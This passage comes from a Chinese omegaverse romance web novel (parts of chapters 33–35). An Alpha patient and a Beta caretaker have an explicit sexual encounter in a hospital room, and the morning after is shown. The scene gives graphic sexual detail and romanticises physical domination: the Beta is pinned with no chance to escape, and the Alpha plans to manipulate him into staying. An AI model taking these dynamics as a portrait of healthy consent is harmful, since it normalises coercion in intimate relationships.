他现在换上的其实是睡衣和短裤,但因为裤子过于宽松了一点,上衣也垂得比较长,看起来就好像只穿了一件睡袍。 黎白榆擦着头发出来时,严野客正靠着床头,在看书。 他垂眸专注地看着手中又厚又重的大部头,并没有抬眼看黎白榆。 黎白榆好奇地瞥了一眼,在书的封皮上看到了几个英文单词。 数据结构与算法分析。 Alpha好像是在看专业书。 黎白榆又擦了几下软润的湿漉发丝,看了看房门的方向。 虽然不想打扰对方,但他还是询问了一句。 “今晚还会有人来吗?” 严野客依然看着书,应声淡漠:“没有。” “那我先锁门了?”黎白榆问。 严野客:“嗯。” 黎白榆走到门边,顺口问道:“保镖也不进来守夜吗?” 他不太清楚有钱人家的保镖是怎么工作的。 身后传来“唰啦”一声细微轻响,病床上的男人把书翻了一页。 “我为什么要和别的男人共处一室?” “哦。” 黎白榆乖乖地应了一声,锁好了门。 锁完后,他又想了什么,问。 “那我在这里,你会睡不好吗?” 他好像也是别的男人。 “……” “唰。”严野客的书又翻了一页。 “不会。” 黎白榆这时才放心,拿了吹风机去吹头发。 吹风机的专用插座在浴室外面,所以Beta全程都是在病床的不远处,吹干了自己的金发。 吹风时,黎白榆还在想着自己没说完的,给Alpha帮忙的事。 但他不知道严野客还想不想听。 是不是对方要求比较高,根本就不喜欢别人帮忙? 黎白榆思索。 那自己是不是不该再多嘴了? 他吹完头发,心不在焉地把吹风机收好,放进束口袋中,又放回柜子里。 但在关上柜门的时候,不知是不是灰尘的缘故,黎白榆却忍不住打了个喷嚏。 Beta掩唇打了喷嚏,还忍不住吸了吸鼻尖。 他刚要伸手去抽纸巾,手边却已经递来了一张。 黎白榆微怔,抬头,就见原本在床上看书的Alpha已经站在了身旁。 把纸巾递给他后,严野客依然在皱眉。 “着凉了?” 黎白榆摇摇头,说话时还带一点点软哑的鼻音,但不明显。 “没有。” 可听了这话的Alpha却并没有袖手,反而直接伸手,用掌心去探黎白榆的体温。 温凉的手掌直接贴住了白皙的前额,黎白榆眼睫轻动,又被严野客指间和掌根的薄茧蹭得微微有些发痒。 他抬眼看过去,长睫纤软,眼眸含光,水光润泽且柔软。 天然含情的眼廓之下,还缀着一颗宛若红翡的小痣。 洗过澡受热之后,Beta的眼下痣又变红了。 严野客贴在人前额的手掌微绷,手背上青筋浮显凸跳。 他的喉结极缓地滚了一下,气息沉凉,未发一言。 可是喉咙却不知为何,生出了难解的干涩。 “我……” 黎白榆正欲解释什么,唇边的咬痕也随之更明显的落入人眼中。 而他无意间抬手,还正巧擦过了面前Alpha垂在身侧的另一只手臂。 这分明只是并不明显、极其偶然的一个不经意动作,却像是什么号令的开端,瞬间让空气都变得粘稠不堪—— 就像那部曾经看过的,为挚爱宁可忤逆全世界的AB恋电影一样。 肌肤相处,悄声无言,干柴烈火。 “唔……?!” 黎白榆眼前一暗,倏然被身前的男人横揽过腰侧,整个人被重重一带,向后跌靠在了包裹着软绸锻布的墙壁上。 “啪嗒。” Beta被严野客按困在了墙边,还无意中撞到了墙灯的开关,让明亮的室内骤然转暗,只剩了床头两盏昏黄暧昧的夜灯。 “别动。” 低冷薄凉的磁声落在黎白榆的耳畔,相贴的身形让黎白榆更清晰地感受到了身前Alpha气息的起伏压抑。 两个人都在洗澡之后换过了睡袍,布料也同样轻薄。黎白榆甚至能感觉到,Alpha那紧实硬韧的身体还带着一点凉意。 像是过分浓郁的信息素,依然没有在这具身体中得以被彻底地控制。 昏暗的夜色里,看不清男人的眉眼神情,只能听到他嗓音沉哑。 “我不会做什么。别动。” 黎白榆安静了好一会儿,才轻声开口。 “做也没事。” 他反而在向人进行着劝解宽慰。 “我们都是成年人了。” “……” 严野客没说话,却缓慢而明显地浮现出了一个:“?” “憋太久的话,真的不好。”黎白榆轻声解释。 他还在担心着生病的Alpha的情况。 过了片刻,黎白榆才终于听到依然紧紧圈抱着他的Alpha哑声开口。 “我想亲你。” 黎白榆迟疑了一瞬,只有很短暂的一秒,就道:“可以。” 反正只是嘴巴碰一下。 Beta想着,亲嘴巴的话,甚至都不会像亲手掌那样,还会吻到指根内里。 但他才刚刚答应,却又听严野客沉冷而没有情绪地开口道。 “我想抱你。” “想睡你,还想你分.开.腿缠住我的腰求我撞进去。” “………………” 黎白榆被这突如其来的吓人实话,惊得说话都有些结巴。 “同、同性AB的话,不是用手……?也,也要进去吗……?” 他又不是Omega,没有生.殖腔,进去会可能……会舒服吗? 难道不是会紧得、涩到进不去……呃…… “哦。”严野客漠然应了一声。 明白了。 黎白榆说的“帮忙”就是用手。 怪不得他提帮忙时那么坦然主动。 虽然声音漠淡,但Alpha圈抱着人的力度却一点都没有放松。 黎白榆的身后就是墙壁,可他却好像根本没感觉到墙的触感,只是被身前的男人毫无缝隙、紧紧地箍按在有如牢笼的怀抱里。 别说推开,连挣出一点距离都困难。 也是因此,全然紧贴的箍抱,让黎白榆能清晰感知到对方身前的所有弧度。 连那狰狞硬硌,一跳一跳贴在清瘦腿侧的勃然之物,存在感都异常鲜明。 根本不可能被忽略。 “……” 黎白榆的颈后开始微微发麻,完全没料到事情会有着这样超出他预想的进展趋向。 而摆明了的,在悍然体力比他强出太多、还正处在信息素紊乱中的Alpha面前,黎白榆根本没有逃躲的任何可能—— 也是此时,黎白榆的颊侧倏然一凉。 抱着他的男人微微偏头,贴住了他的脸颊,还用着那种很冷淡的语气,在问。 “那你怎么还不摸摸它?” 第 34 章 034 “……” 黎白榆的耳膜微微鼓动, 他听到自己沙涩的声音。 “要在这儿吗……?” 新换上的睡裤根本不够长,黎白榆也是这时才亲身体会到了这一点。腿侧光粿的肌肤已经被直接抵蹭着,被传递过来那过分鲜明的清晰搏跳。 感觉就好像, 不是在等人去摸。 而是蛰伏了太久的凶兽,在伺机将人一口吞没。 耳畔Alpha的声线依旧薄凉,和身下的反应截然不同,好像那般积蓄过火、份量骇人的根本不是他一样。 “你想去床上?” 微冷话音里说的, 仿佛被问者才是更期待的那一个。 但黎白榆确实是这么想的。 床上也比这里好吧?他觉得。至少隐秘性更强一些。 所以青年直接点了头。 昏晦的光线和这个角度, 让他完全没有看到Alpha转暗的眸色。 “还是去床上, 更方便一点——” 黎白榆说着,感觉抵在自己腿跟的硬冷终于退后了一分。他下意识地微微松了口气, 想要离开这个被困住的墙边。 可是他却根本没能自己动作。 “唔……?” 倏然间身体一沉, 黎白榆就这样被微一俯身的男人整个抱了起来。 他的膝窝被抄起, 后背被托住,是一个很稳的端抱的姿势。 也让被抱者更没了自行活动的空间。 黎白榆霎时想起了多日之前,严野客的易感期突然提前。当时,黎白榆也曾像这样被Alpha忽然地抄抱起来。 只不过现在,黎白榆知道了。 严野客并不是想把他抱起来扔开。 男人走去床边的步伐也很稳, 看不出像一个正在紊乱的病人。 昏暗的视线并没有影响严野客的动作, 反而让他看起来更有着一分得心趁手的适应。 隐隐约约间, 自门外的走廊上传来一段舒心的轻快乐声,这个声音黎白榆今天听到过两次, 知道那是固定时间的整点提示。 悠扬的音乐声也在提醒。 这里还是公共场所。不是在自己家中。 这里是医院, 正适合治病。 黎白榆是这么劝解自己的。 但在背脊碰到柔软床铺的一瞬间, 他还是感觉到了一分难以言喻,也难以控制的……紧张。 虽然黎白榆人被放下,但紧贴着他的体温却没有退开。所以黎白榆的反应也被抱他过来的Alpha瞬间察觉了。 “没关系。” 耳畔, 面容背光不明的男人嗓音依旧低沉。 “床很结实。” 听起来像是在说“不用担心”。 只是这种话对黎白榆来讲,却很难说清楚究竟是不是安慰。 虽然黎白榆确实感觉到了VIP病床的舒适,亲肤。 但好像也有些过分的牢固。 ……甚至床边两侧都还有束缚带。 准备得如此趁手又齐全。 不过相比起此时的黎白榆,严野客却全程都没有分给周身的事物一个眼神。 男人漠然,冷淡,心无旁骛。 他似乎只对身下的Beta一个人感兴趣。 “现在可以了么?” 黎白榆听到对方没什么起伏地问。 “可以……” 黎白榆轻声说着,长睫微动,很浅地吸了口气。 他并没有发出多余的声音,但严野客好像还是听到了。 “你后悔了?” 夜色中,Alpha偏头看向了他,低冷的嗓音听不出情绪。 黎白榆有些迟疑,还是点了点头。 周遭似乎寂静了一瞬。 在这片安静之中,黎白榆犹豫了一下,才轻声坦白。 “我后悔只查道具……忘了看技术资料。” 于这种时刻,Beta仍是很诚实。 还在为自己的不足表示歉意。 他确实不太清楚,要怎么摸才会更有帮助。 “……” 这时,严野客反而没再说话。 黎白榆只觉自己的掌心微微一凉,他还没有动作,抱着他的男人却先伸手过来,牵握住了他的手。 凉意蔓延到手指之间,黎白榆的长指被微微分开,指缝也被顺势填满。 Alpha在和他十指交握。 没有人出声的安静氛围中,于是此时连最细微的声响都变得分明。 恒温空调在吹着冷风,被子会发出柔软的窸窣声,还有面前男人低沉气息的微冷。 严野客扣握住黎白榆手指的动作很慢,黎白榆也是这时才发现,自己的指根似乎的确很敏敢。 尤其Alpha的指间还生有薄茧,带着凉意的微糙触感在黎白榆的指缝缓缓抚过,让皙白的长指不由微微蜷动。 下一秒,却又被男人握得更紧。 连掌心都毫无间隙地牵覆住了掌心。 黎白榆与人交握的左手被抬起,被牵到了Alpha的唇边。 不只指缝和掌根,他的指尖也传来了一点干燥微凉的触感。 严野客在以唇轻吻他的指尖。 这个动作的暧昧之意似乎更明显了一分,薄唇的吻碰也出乎了Beta的预料。 黎白榆的手指下意识地蜷缩了一下,却没能避开仍在继续的轻吻。 两人已然是侧躺相对的姿势,身上还共盖了一条薄被。不甚明朗的光线中,黎白榆能看到牵手轻吻着他指尖的男人抬眼,在朝他看过来。 只是光线不明,看不清Alpha此时的神情,只听得到他冷沉的低声。 “不是说,可以亲?” 黎白榆被问得怔了一下,他的想法显然与发问的人有些不同。 “你说的想亲,是指亲手指吗?” 严野客沉默了一瞬。 只是极短暂的一瞬,接着,他就忽然俯近。 直接去吻了Beta的唇。 “……!” 熟悉的低凉气息迫近,呼吸交错粘缠。黎白榆后知后觉,这时才意识到。 自己刚刚的话里意味,听在对方耳中。 更像是一种索吻。 男人骤然靠近,吻在了黎白榆的唇角。 细细地亲麽过了那里,白天被亲口咬出的齿痕。 黎白榆的梨涡很浅,要笑起来的时候才能将将看到。 因此就很少被人发现,他的笑涡其实只有单侧的一个。 但严野客发觉了,还像是很喜欢。 不仅白天里磨齿咬过,这时候还在反复地用薄唇来啄亲。 黎白榆被他亲得嘴角又有一点薄痛,等因为意外而轻促的鼻息终于稍稍平复了一点,才发现。 Alpha不仅是在亲,亲多了,又开始用齿尖在轻轻咬他的唇角浅涡。 怪不得会有一点疼。 这种用齿尖衔咬的动作,真的会让人感觉有些像蛇。 咬住就不可能松口,还会用尖齿把冰冷的液体缓缓注入。 黎白榆胡乱地发散想着,完全没意识到这种犬齿的霸占动作,其实也很像狗。 黏黏缠缠,又咬又磨。 而压覆过来、靠得极近Alpha的气息始终很低冷,带着微微的凉意,并不是那种离近了会让人感觉不安的热。 让黎白榆也没能生出什么明确的反感。 或许很微妙,一种说不清道不明的陌生感觉。 反正黎白榆从没想过,自己会和谁共处到像这般贴近。 他本身是一个偏于内向、疏淡、远离人群,更喜欢独处的人。 但对严野客,黎白榆的确没有生理性的不适,和心理上的不喜。 亲碰那处浅软的梨涡时,严野客时不时还会擦蹭到黎白榆的唇。 但等他真正去碰吻唇瓣时,动作却并不算凶狠强势。 “啾……” 反而会轻浅地,一触即停。 就像黎白榆想的那样,Alpha说的“想亲你”只是会碰一下嘴巴,然后会很快分开。 似乎比吻.咬梨涡时的动作都还更轻浅几分。更不会像亲吻掌根时那样,连细嫰的指缝都不遗一寸。 这让黎白榆也更放松了一点。 果然没什么问题。 他想。 自己会没什么反感抗拒,或许也是因为严野客的克制,沉稳,颇有分寸。 男人靠近吻他时,额前垂下来的发丝还微微拂过了黎白榆的眉廓。 严野客的黑发和黎白榆的不一样,是那种偏硬的质感,蹭过人眼前时,还会显得微微有一点扎刺。 黎白榆被对方的额发惹得微痒,下意识地抬起空着的另一只手,指尖微动,轻轻梳了梳严野客的头发。 看起来,就像是主动地摸了摸他。 以指为梳,稍稍拢顺过Alpha的黑发之后,黎白榆再想把自己的手收回时,却没能动作。 他抬起的右手也被人握住了。身前的Alpha还偏头,用俊冷的侧脸贴住了他的掌心。 严野客面无表情,在黎白榆温软的掌心里蹭了蹭。 他的另一只手还拉着对方,把Beta之前被牵握住的左手,按到了自己的胸口。 黎白榆的手贴到对方胸前,掌心之下就是微凉硬韧的触感。 他被男人这突然的动作怔了怔,下意识地开口问。 “你的心脏不舒服?” 上次严野客拉他去摸自己的心跳时,就是这个动作。 但此时,听闻了这话的Alpha却有些神色晦暗。 严野客意味不明地看人一眼,开口的嗓音依旧沉静,并没有显出不适。 他是在问黎白榆。 “手感好吗?” 黎白榆:“……” 不解风情的Beta才意识到,对方动作的意思,是让自己摸一摸他的胸肌。 掌下的手感和黎白榆之前被拉去摸按时的触感一样,而且和上次相比,此时严野客身着的衣料更加轻薄。 微凉的体温清楚地传递过来,就仿佛黎白榆的手掌直接按到了对方的胸肌上,甚至能清晰感觉到那硬韧的肌理,和沟壑的线条。 黎白榆之前就曾见过严野客在清晨的健身,和男人机车骑行时的照片。 但也是此刻,黎白榆才如此清晰地体会到,严野客的身形线条和他的表面并不一样。 明明外表是个怎么看都很冰冷严肃的人,身材却很……火辣。 饱满紧致的,有力,劲爆…… 总之一点都不冷淡。 尤其此时黎白榆的腕骨还被对方圈箍着,手掌结结实实地压在柔韧勃发的肌肉上,不掺一点客套的虚碰。 他的掌根,都按在了Alpha微微深陷的胸肌中缝里。 像是被,呃……被夹住了。 黎白榆到底是没和旁人有过这样近密的接触,而且他的目的单纯。这时就难免会觉得,这样摸会显得有一些……不够正经。 可是当Beta刚刚想要抽手收回时,却被对方拦住了。 严野客垂眸看他,声线中似有疑惑。 “真的不好摸吗?” 黎白榆:“……??” 自己刚才究竟为什么会觉得对方克制、有分寸? 黎白榆不由开始怀疑,自己果然有点不会看人。 严野客还圈握着他的手腕,并没有让他收手退开。 “你看。” 男人的胸廊肌群微微发力,整个胸廓饱满地紧绷起来。 “这样摸时,是硬的。” 接着,严野客又明显地卸下了力度,把自己毫无防御的胸廓完整地送到黎白榆的掌心之中。 “不发力的时候会软一点,触感更有弹性。” “……” 黎白榆被他这么细致且毫无保留的讲解给惊到,手已经下意识地依循对方所言,格外清晰地感知到了严野客所讲的不同。 没用力时的胸肌,居然真的是软的…… 黎白榆有这种生理常识,可却是第一次这般亲手摸到。 很弹韧的触感,而且凉凉的。 ……很好摸。 明明被摸的是严野客,黎白榆自己却有些耳热。 青年暂时抽不回手,现下只能让自己别想多,更专注正事。 他还听到严野客低声问:“你以前有这样摸过吗?” “……”黎白榆回答的声音很轻,“没有。” 很简短的答案,却似乎让Alpha连声线都微微温缓了一分:“嗯。” 于是黎白榆也尝试着问:“被摸……会让你开心吗?” 严野客:“?” 男人缓缓浮出了一个问号,似乎并不是黎白榆想的那样。 这让黎白榆也结巴了一下。 “我、我以为你喜欢这样……” 所以才会把自己的手拉过去。 结果……不是吗? “……” 严野客沉默了两秒,声音似乎也懒散了一分。 “那你要多摸摸,我才知道喜不喜欢。” 于是为了验证Alpha的心情,黎白榆的手又被按在了那边了好一会儿。 如果不是他右臂的伤还没好利落,或许两只手都要被牵过去一起摸了。 摸得太过细致,黎白榆的手和人都有些微微发木。 不知道Alpha被摸得开不开心,总之黎白榆是已经相当清楚。 严野客的胸大肌、胸小肌、前锯肌……都非常的强韧,完美,健康。 没有一寸有问题。 而等到手掌终于得以离开胸廓时,黎白榆也没能真正地松一口气。 因为他的摸碰工作还在继续向下。 Alpha的腹肌不像胸廓那般饱满柔韧,但肌理线条非常深刻且清晰。 黎白榆只是大致掠过,就感知到了非常鲜明显眼的轮廓。 他也当真感受到了严野客之前的体检单里,综合评分那一页中所写的“优于97%的Alpha”有着什么真正的具体含义。 严野客的身廓偏于修长,穿衣时更显得高瘦,并不会显壮。 但等真正脱了衣服去碰触时,才会让人理解他身为绝对顶尖的年轻Alpha的优势。 这样的肌肉刻度,也让黎白榆终于明白,严野客控车时为什么会那么轻松厉害。 Alpha的身体里,真的蕴藏着堪称恐怖的力度。 足像一座小山似的重型机车,落到严野客的手中,都能轻盈地仿佛只像纸片。 倘若当真不算气质中的冷感,严野客给人的感觉其实十足悍然。 黎白榆不由得又想到严野客骑跨重型机车时的那些照片。 从始至终,男人都没有刻意的凹造型、耍帅,但在一众特立独行的惹眼骑手之中,看起来色调最为单调沉稳的严野客—— 这位当之无愧的队长,却是凭借骨子里的凶野,无形睥睨,脱颖而出。 黎白榆自己的身形偏于清瘦,在偶尔做大幅度动作,或者某些角度的时刻,也会显现出纤瘦的线条感。 但他并没有这样鲜明深刻的肌肉,腹部更是皙白光洁,紧实平坦。 尤其因为生过了之前的这一场病,黎白榆感觉自己的肌肉流失得更为明显,他自己看时都觉得身体削瘦得过分,也白得惹眼。 总之和强健完全无法沾边。 平日里黎白榆自己去揉按腹部时,偶尔甚至都能摸到微蜷的胃部和内脏器官。 他吃得稍微过量一点,也容易会把瘦白的小腹微微地撑顶起来。 和身前Alpha的这种健美,就更是没法相比了。 更何况,再向下还—— 黎白榆的动作就不快,这时更是明显的滞顿了一下。 因为他的指腹,已经触到了边缘的毛发。 黑色的丝发触感和严野客的额发有一分相似,都有些微许的刺手。 尤其这里的触感,更比发丝还更粗硬一分。 “……” 黎白榆确实没有经验,也忘了预先去找详实的资料查看。此时他更觉得棘手,停在那处好一会儿没能向下。 直到沉默任他摸的Alpha都抬眸望了过来,他才只能硬着头皮问人。 “你喜欢……什么样的方式?” 问完,黎白榆就后悔了。 因为这话实在有些慌不择口,而且,黎白榆才刚说完,身前的Alpha就贴了过来,语气无波地问他。 “你会哪几种?” 黎白榆:“……” 这绝对是学霸黎天才二十余年来的第一次这般挫败。 因为他连一种方式都回答不上来。 而这时,严野客又开了口,嗓音沉低。 “我没经验,不会这些……所以哪种方式都可以。” 听起来还很温淡。 像是很好招待的那种。 黎白榆浅浅吸了口气,慢慢把那一分“自己居然一种都答不出来”的懊悔从脑海中驱散,让自己更专注于眼前。 他的手腕缓缓沉向更下,因为视野昏暗,目光也根本没敢投落下去,所以基本上是盲摸。 眼睛都有些不知道往哪里看。 但也因为此时的专注和紧绷,黎白榆都没发现自己已经慢慢和人靠得更近,几乎埋进了对方的怀里。 他只要稍微一抬头,就可以直接贴到自己刚刚细致摸过的胸肌上了。 Beta的手法不算熟练,技巧更是没有,连摸去正主的路上,都花了好一会儿功夫。 糙硬的毛发将那皙白的指尖都麽得微微发红,炽然中带着一点隐约的痛。 第三次尝试着又摸空之后,黎白榆更有些难言的窘促。 恰在此时,他却听到严野客开口,问:“疼吗?” 黎白榆茫然:“……什么?” “扎手么?”严野客问得有点漫不经心,“要不剃了。” “……” 黎白榆这时才听懂他说的什么意思,指尖更有些被灼得发烫。 这完全是心理因素,因为Alpha的体温一点都不高,甚至明显比黎白榆冷上几分。 但被窘迫烫到的青年只能磕绊地回答。 “不、不用吧……” “哦。”Alpha应得还是有些不太专心。 他在想:这样会不会把白榆的后面麽红? 或者。 也可能会磨舯。 严野客是担心黎白榆会被惹哭,但既然Beta都这么说,他也应了。 “你喜欢的话就留着。” “…………” 黎白榆干涩地吞咽了一下,想说这种事Alpha自行决定就好,毕竟和自己无关。 但他还没开口,就碰到了意料之外的触感。 黎白榆的第四次尝试,终于成功了。 “……。” 严野客的呼吸也滞空了一拍。 极短暂,却是过分鲜明的冲击。 他也没曾想过,会被心上人这样碰到。主动帮忙。 遏抑太久的勃然几乎是瞬间抬跳了一下,本就可怖的硬度更上一层。 严野客的筋络充血太甚,感知更为清晰明晓。不止了然地探知到黎白榆颀长的手指和温软的掌心,还会主动去贴寻。 ……克制难抑,想去莽然悍力地顶幢他。 但严野客到底是被锤砺得这么久了,这时依然生生按捺住了翻涌叫嚣的躁念。 他还在警惕。 甚至不知道自己方才的勃然兴起,有没有骇到初次帮忙的黎白榆。 他会不喜欢吗? 会不会觉得为另一个男人做这种事还是很后悔,生理性地难以接受,勉强试过眼前这次就放弃,直接跑路了。 或者,根本连这一次都无法尝试完。 严野客仍然在紧盯着怀里的美丽青年,盯视着对方的细微神情。 他甚至已经想好了,倘若Beta真的被吓到,该要怎么不着痕迹地卖惨,不被看穿地留住他—— 但对方的真正反应,严野客却完全没有想到。 甚至黎白榆自己都没想到。 因为他摸到的沉甸轮廓……居然当真是凉凉的。 不知是不是信息素紊乱的缘故,虽然严野客已经结束了易感期,体温也没有像易感期时那般冰的那么明显。 但严野客身上还是凉的。 身下也是。 并不是燥人的烫,不是那种难以接受的触觉。而是略显微凉的硬韧,手感其实还很不错的……唔。 意识到自己在想什么的时候,黎白榆脸上的热度就有些更难藏住。 他实在很难解释,自己为什么会因为摸到Alpha那里凉凉的,硬且沉。 就因为这很好摸的手感而……脸红了。 但比他更难设想的,却另有人在。 一直盯望着他的严野客此时依旧双眸未眨,可是在看到黎白榆的真正反应时,Alpha那腥暗的欲色眸光之中,却浮现出了一刹那诧异的清明。 埋头太久的黎白榆终于抬头,吸了口气,想更多地呼吸一点新鲜的空气。 他抬头时,果然因为离得太近而蹭到了Alpha的胸肌,但这还不是最让他意外的。 最让黎白榆没想到的,却是他无意间瞥见的,对方的神色。 “……” 黎白榆微怔,薄软的唇瓣张了张,才问出声。 “你害羞了吗?” 黎白榆知道自己的脸有点烫,但他没想到,不甚明朗的夜灯光线中。 忽然偏开了视线的严野客,耳廓居然也在隐隐飞红。 ……这是,被他摸得脸红了吗? 黎白榆一时都忘却了一点自己的脸颊温度,他本以为对方的外表一直很冷,即使会说出惊人的话,神色也总是很周严,沉静。 却没想到严野客会这么……纯情。 一时之间,黎白榆也在讶然之下停了手上的动作。 Alpha终于挪回了视线,垂眸看他,耳廓的颜色仍然还有些深,确实是在泛红。 但男人还是说得面无表情。 “嗯,因为没想到你这么喜欢。” 黎白榆:“……” 但黎白榆不像他那么不老实,上来就擅自把单方面的猜测说成肯定。 Beta解释的时候,也很诚实坦白。 “我就是比较喜欢凉凉的东西……你也知道,我缺铁。” “哦。” 严野客冷淡地应声。 “我缺老婆。” 黎白榆:“………” 面前的Alpha缓缓贴近他,手臂都圈搂在了黎白榆的腰侧。 男人声线幽幽,还在学着他的句式,说。 “我也比较喜欢老婆。” “很喜欢。” 黎白榆:“……” 换做以前,听到这种话的黎白榆,可能会直接地疑惑询问,“你老婆是谁”。 但现在,因着Alpha的靠近,更沉甸甸坠在黎白榆掌心的冷物,却让他已经再难问出这一句。 ……因为说话的时候,那东西居然变得更沉了。 严野客还微微偏头,贴住了黎白榆的颊侧。贴了一下,便轻轻退开。 “但是我没有易感期那么凉了。” 男人退开一寸,盯着黎白榆的眼眸,问。 “你是不是也没有那么喜欢了?” 严野客神色依然冷淡,言语间似乎隐有一分不易察觉的怅然。 可他偏又一瞬不瞬地望着黎白榆。 藏不住,似乎很在意Beta的答案。 黎白榆露出一分无奈,清冷的眉眼间透显出一点柔软。 “你现在体温恢复一些了,不那么冰,证明信息素没那么紊乱,是好事。” 但严野客不觉得这是好事。 他在想要怎么才能更紊乱。 下一秒,Alpha的身形就忽然绷顿了一瞬。 因为他感觉到,黎白榆的左手又开始了方才停下的动作。 轻缓,温柔,小心翼翼。 黎白榆还在认真帮忙,努力尝试。 即使过往没有需求,没得经验,甚至更没看过什么影片。但黎白榆也是曾见过那种医院检查时的取经科普图的。 因此,他便试着依循标准流程,开始学习从头握住。 可这才第一步,就有了意料之外的难题。 黎白榆一直没能消除紧张,刚才的动作也有些茫然胡乱,所以直到此刻,想要正式、标准地帮忙时,他才发现。 严野客的那里,自己居然……一只手都险些圈不住。 “……?” 黎白榆不由得有些头皮发麻,几乎是下意识地,低喃了一句。 “怎么会这么粗……” 他这只是愕然之下的自语,却还是被Alpha听到了。 “嗯。” 圈箍着他的男人忽然开口,沉冷的嗓音中带着微许的低喘哑音。本就磁性的尾音落得如此之近,更震得人耳根痒软。 “为了能得宠。讨老婆欢心。” 第 35 章 035 第二天清早, 黎白榆醒来时,人已经身在陪护床上了。 陪护床没有病床那么宽敞,本身更是按单人的标准来设计的。 一同睡着两个人, 就难免会有些拥挤。 即使黎白榆身上还裹着一张薄被,他依然能清晰地感觉到紧拥着自己的、身后另一个人的体温。 室内很安静,身后的呼吸也低沉均匀。 似乎Alpha还在沉睡。 这是好事。至少证明病人这一夜休息好了。 而且他的体温也没再冰得吓人。 黎白榆默不作声地想着,慢吞吞地起身下床, 动作安静又轻缓, 没有发出一点声音。 他静悄悄地踩着拖鞋去了洗漱间, 路过光.裸的、没了床单的病床时,也没有多看。 直到关好房门, 旋开水龙头时, 汩汩的水流才终于发出了些许轻微声响。 黎白榆也在水声之下, 轻轻地揉了揉自己的手腕。 接着,他低头洗漱,依旧闷声未言。 只是动作间,还是感觉。 ……手有点酸。 不止是手腕,其实手心, 掌根, 甚至包括虎口, 都有使用过度后留下的微微酸胀感。 因为伤势未愈而动得较少的右手要稍微好一点,但惯用的左手却不同了。 连薄嫩的指根, 都还有些微微泛红。 黎白榆没有去细看, 只弯下腰去, 掬起清水洗脸。 他在尽量避免自己回想起过多的昨晚细节,让思绪能保持的更纯粹一点。 黎白榆几乎要成功了。 但等他洗完脸起身,伸手拿棉巾擦脸时, 动作却倏然一顿。 “……” 因为在他的面前,清晨敞亮的镜子中,居然不知何时,多了一个明显高出黎白榆的身影。 “睡得好吗?”男人的声音里还带一点初醒的低哑,“起得好早。” “……” 黎白榆收回视线,慢慢把脸擦干净,又把棉巾扔进垃圾桶,这时才低低开口。 “不早了。” 确实不算早,比黎白榆平日的起床时间已经晚了一个多小时。 而他的身后,造成晚起的罪魁祸首一步走过来,直接和黎白榆一同站在了洗漱台前。 因为刚醒,男人额前的发丝还带着一点不同平日的微微凌乱。 Alpha的身形修长高挑,宽肩窄腰,他整个人的存在感太强,实在无法被忽略,让黎白榆下意识地往旁边让了让。 但不用于黎白榆的所想,严野客却没有要同时洗漱的意思。 他只是单臂半撑在洗漱台,手臂因动作而勾勒出的线条极富力量感。男人就这样侧身,专注地看向了黎白榆。 “你的手有没有事?” “……” 黎白榆低着头把洗漱杯摆好,用更低的声音说了一句。 “没事。” 话才说完,他的小臂就被身旁的男人握住了。 黎白榆顿了下,没有阻止。 Beta的手被拉了过去,掌心向下,瘦白的手搭握在严野客的手掌之中。 两人的手指同样修长,手掌的肤色和手腕的粗细却有着鲜明的对比。 因为贫血,黎白榆的皮肤一直是带点苍白的冷白色,他的手背更没有像严野客那样,连指骨上都盘踞着微微鼓胀的青筋。 眼见男人捉握着他的手查看了好一会儿,黎白榆终是没忍住,说了一句。 “我会努力补上的。” “?”严野客抬眼,淡声问,“补上什么?” 黎白榆却说得很是正色。 “良好的体魄!” “……” 严野客没说话,轻轻捏了捏他纤软的手指尖。 可爱。 白榆和他的手都是。 没察觉到自己的手已经在被人握去把玩的Beta,这时还想起了另一件正事。 “啊,床单……” 严野客好脾气地解释。 “已经叫了人来处理。” 黎白榆怔了怔,后知后觉地有一分窘促。 那……如果被看到了弄脏的床单,岂不是也被会猜到昨晚发生了什么? 恰在此时,和洗漱间一墙之隔的走廊里传来了医护人员的交谈和脚步声。 黎白榆意识到这是早上查房的时间要到了,忙把Alpha推出了洗漱间。 “先等查房吧。” 走出洗漱间,黎白榆果然看到病房内已经光线敞亮,窗帘也被拉开。 昨晚草草被撤下的床单已经被拿走了,还有两位带着手套、家政服务打扮的人,正在利落地清扫地面、铺新床单。 黎白榆在旁边看着,总忍不住会想起床单背后的事情。 他站得难安,索性又折返回了洗漱间,快速去冲了个澡。 冲洗结束后,隔着洗漱间的门,黎白榆也听到外面传来的声音。 查房已经查到了这一间,医生正在检查病人的状况。 黎白榆并不清楚自己昨晚的工作有没有用,能不能真的帮上忙。 因此在隔着门听到医生讲,病人的信息素指标趋于稳定时,他不由明显地松了口气。 至少没添乱就好。 事实上,对今早的状况,医生们都显得有些意外。 因为严先生的信息素昨日还有明显波动,今天却突然好转。变化之明显,让医生都有点疑虑。 是不是……有什么特殊诱因? 被医生询问时,严野客抬眼,刚好看到黎白榆从洗漱间出来。 Alpha的回答也很淡然,只道:“没什么,心情好。” 心情好? 医生们听得狐疑。 不过病人这次的信息素紊乱确实和情绪有关,医生们正思索着,却纷纷闻到了一抹从身后传来的熟悉味道。 他们回头,看到走过来的黎白榆,不由顿了顿。 没看错的话,这位是Beta吧?还刚刚洗完澡。 那他身上的味道…… 医生们对视了一眼,好像明白了什么,拿着病历的那位开始刷刷写起了笔记。 对此,黎白榆本人却一无所觉。 等查房的医生们走后,黎白榆看了一眼整洁的、重回安静的房间。 此时病房里只剩下了他和严野客两个人。 等严野客从洗漱间出来,黎白榆便问他。 “早餐想吃什么?我去买。” 严野客却没回答,只说:“保镖已经去了。” 他反而朝人抬手:“过来。” 黎白榆有些茫然,但还是走了过去。 一走近,他的左手就再度被人牵握住了。 这次,Alpha不仅是查看,还上手帮他揉按了起来。 “……” 黎白榆哑然,想收回手也已经太晚。 回想起再难压抑的昨夜记忆,青年险些没撑住一贯清冷的神色。 昨晚,才刚刚用手圈住没多久,黎白榆就发现了新的问题。 因为直径太粗,严野客不仅会难以被用一只手握住,等到Beta勉强握拢了,生涩地开始动作时。 还很容易会引起虎口的酸胀。 皮肤薄白的掌心被蹭磨着,虎口也一样。饱胀的青筋再没了掩饰,此时毫无阻隔地紧紧蹭抵着黎白榆的手心。 让他过分清晰地掌握着对方的一下下搏跳。 耳边还有沉缓压抑的低.喘,微凉的气息拂过黎白榆的耳畔。 没来由地,居然会让Beta无端联想到性.感。 黎白榆的五感一向比较灵敏,听力也是,在这昏晦的环境中,视线不佳,听觉本能地代偿,更是会将细节放大百倍。 尤其当Alpha侧脸过来,薄唇擦过他的耳畔。 更让黎白榆这时才发现,自己的耳廓居然也如此敏敢。 